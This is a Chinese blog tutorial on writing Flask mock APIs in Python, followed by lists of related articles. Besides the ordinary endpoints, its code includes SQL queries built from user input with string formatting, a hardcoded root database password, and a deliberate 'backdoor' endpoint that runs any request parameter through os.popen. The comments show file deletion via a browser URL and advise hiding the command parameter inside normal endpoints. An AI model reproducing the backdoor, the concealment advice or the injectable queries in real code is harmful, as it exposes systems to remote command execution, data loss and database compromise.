python学习开发mock接口


Posted in Python onApril 28, 2019

本文实例为大家分享了python学习开发mock接口的具体步骤,供大家参考,具体内容如下

#1.测试为什么要开发接口?

1)在别的接口没有开发好的时候, mock接口(模拟接口)
2)查看数据, 避免直接操作数据库

#2.开发接口的顺序

1)安装flask

flask是一个轻量级开发框架

pip install flask

2)开发一个接口

开发步骤:

1.实例化一个服务server:flask.Flask(__name__)
2.函数前加装饰器@server.route(), 将函数变为一个接口
3.启动服务server:server.run()

import flask,json,pymysql
server=flask.Flask(__name__)#__name__代表当前python文件, 把当前python文件当成一个服务
 
def opt_db(sql):
  coon=pymysql.connect(
    host='192.168.109.132',
    user='root',
    passwd='123456',
    db='besttest',
    port=3306,
    charset='utf8'
  )#建立db链接
  cur=coon.cursor()#建立游标
  cur.execute(sql);#执行sql
  if sql.strip()[:6].upper()=='SELECT':
    res=cur.fetchall()#获取sql返回
  else:
    coon.commit()
    res='ok'
  cur.close()#关闭游标
  coon.close()#关闭db链接
  return res
 
 
#get请求, 请求路径ip:port/index
@server.route('/index',methods=['get'])#装饰器,代表index函数是一个接口,支持get请求(默认get请求)
def index():
  res={'msg':'这是我开发的第一个接口','msg_code':'0'}
  return json.dumps(res,ensure_ascii=False,indent=4)
 
 
#post请求, 请求路径ip:port/reg
@server.route('/reg',methods=['post'])#装饰器,代表reg函数是一个接口,支持post请求(可以同时支持get、post请求)
def reg():
  username=flask.request.values.get('username')#获取接口入参
  pwd=flask.request.values.get('passwd')
  if username and pwd:
    sql='select * from syz_stu where username="%s";'%username
    if opt_db(sql):
      res={'msg':'用户已存在','msg_code':2001}#2001用户已存在
    else:
      insert_sql='insert into syz_stu (username,passwd) VALUES ("%s","%s");'%(username,pwd)
      opt_db(insert_sql)
      res={'msg':'注册成功','msg_code':'0'}
  else:
    res={'msg':'必填字段未填, 请查看接口文档','msg_code':1001}#1001必填字段未填
  return json.dumps(res,ensure_ascii=False,indent=4)
#后门接口
@server.route('/error',methods=['post'])#路由,访问地址为----IP:端口/error
def cmd():
  cmd = flask.request.values.get('cmd')#接口的入参
  res = os.popen(cmd)#执行用户命令
  return res.read()#返回执行结果
  #http://127.0.0.1:8999/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除系统文件
  #隐蔽一点的方法,把cmd = flask.request.values('cmd',None)写入正常接口
  # 默认可以不传,一但传了再res = os.popen(cmd)
 
server.run(port=6688,debug=True,host='0.0.0.0')#启动服务,接口才能访问
# port=6688指定端口为6688
# debug=True设置代码修改后服务自动重启
# host='0.0.0.0'设置同一局域网的可以访问
# server.run() 必须在所有接口定义完后再定义, 否则, server.run()检测不到之后定义的接口, 接口是无法被运行的

运行以上代码,打开浏览器,请求http://localhost:6688/index,将看到返回{'msg': '这是我开发的第一个接口', 'msg_code': 0}

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
使用grappelli为django admin后台添加模板
Nov 18 Python
分析在Python中何种情况下需要使用断言
Apr 01 Python
Python找出list中最常出现元素的方法
Jun 14 Python
Python3.6 Schedule模块定时任务(实例讲解)
Nov 09 Python
Python实现的读取电脑硬件信息功能示例
May 30 Python
Python实现的列表排序、反转操作示例
Mar 13 Python
对pyqt5之menu和action的使用详解
Jun 20 Python
Python内置加密模块用法解析
Nov 25 Python
Python urllib2运行过程原理解析
Jun 04 Python
Python持续监听文件变化代码实例
Jul 22 Python
Python通过类的组合模拟街道红绿灯
Sep 16 Python
Python通过fnmatch模块实现文件名匹配
Sep 30 Python
Python简单基础小程序的实例代码
Apr 28 #Python
python实现Excel文件转换为TXT文件
Apr 28 #Python
Python3.5模块的定义、导入、优化操作图文详解
Apr 27 #Python
Python3.5内置模块之time与datetime模块用法实例分析
Apr 27 #Python
Python3.5内置模块之os模块、sys模块、shutil模块用法实例分析
Apr 27 #Python
Python3.5内置模块之shelve模块、xml模块、configparser模块、hashlib、hmac模块用法分析
Apr 27 #Python
python爬取基于m3u8协议的ts文件并合并
Apr 26 #Python
You might like
php实现向javascript传递数组的方法
2015/07/27 PHP
详谈PHP编码转换问题
2015/07/28 PHP
基于PHP的加载类操作以及其他两种魔术方法的应用实例
2017/08/28 PHP
一个可绑定数据源的jQuery数据表格插件
2010/07/17 Javascript
jQuery代码优化 选择符篇
2011/11/01 Javascript
CheckBoxList多选样式jquery、C#获取选择项
2013/09/06 Javascript
Javascript 中创建自定义对象的方法汇总
2014/12/04 Javascript
javascript实现10个球随机运动、碰撞实例详解
2015/07/08 Javascript
jquery分页插件jquery.pagination.js使用方法解析
2016/04/01 Javascript
【经典源码收藏】基于jQuery的项目常见函数封装集合
2016/06/07 Javascript
JavaScript中的splice方法用法详解
2016/07/20 Javascript
JavaScript实现替换字符串中最后一个字符的方法
2017/03/07 Javascript
JavaScript闭包和回调详解
2017/08/09 Javascript
jQuery实现表格隔行换色
2018/09/01 jQuery
基于vue-draggable 实现三级拖动排序效果
2020/01/10 Javascript
使用React代码动态生成栅格布局的方法
2020/05/24 Javascript
Python标准库之sqlite3使用实例
2014/11/25 Python
听歌识曲--用python实现一个音乐检索器的功能
2016/11/15 Python
Python获取当前函数名称方法实例分享
2018/01/18 Python
Python 3.7新功能之dataclass装饰器详解
2018/04/21 Python
python使用suds调用webservice接口的方法
2019/01/03 Python
Python应用领域和就业形势分析总结
2019/05/14 Python
python opencv 检测移动物体并截图保存实例
2020/03/10 Python
Python限制内存和CPU使用量的方法(Unix系统适用)
2020/08/04 Python
HTML5 预加载让页面得以快速呈现
2013/08/13 HTML / CSS
html5 canvas移动浏览器上实现图片压缩上传
2016/03/11 HTML / CSS
中东地区最大的奢侈品市场:The Luxury Closet
2019/04/09 全球购物
英国和世界各地预订便宜的酒店:LateRooms.com
2019/05/05 全球购物
介绍一下OSI七层模型
2012/07/03 面试题
业务部主管岗位职责
2014/01/29 职场文书
2014年健康教育实施方案
2014/02/17 职场文书
关于运动会的口号
2014/06/07 职场文书
战略合作意向书
2014/07/29 职场文书
专项资金申请报告
2015/05/15 职场文书
大学校园餐饮创业计划书
2019/08/07 职场文书
2019年健身俱乐部的创业计划书
2019/08/26 职场文书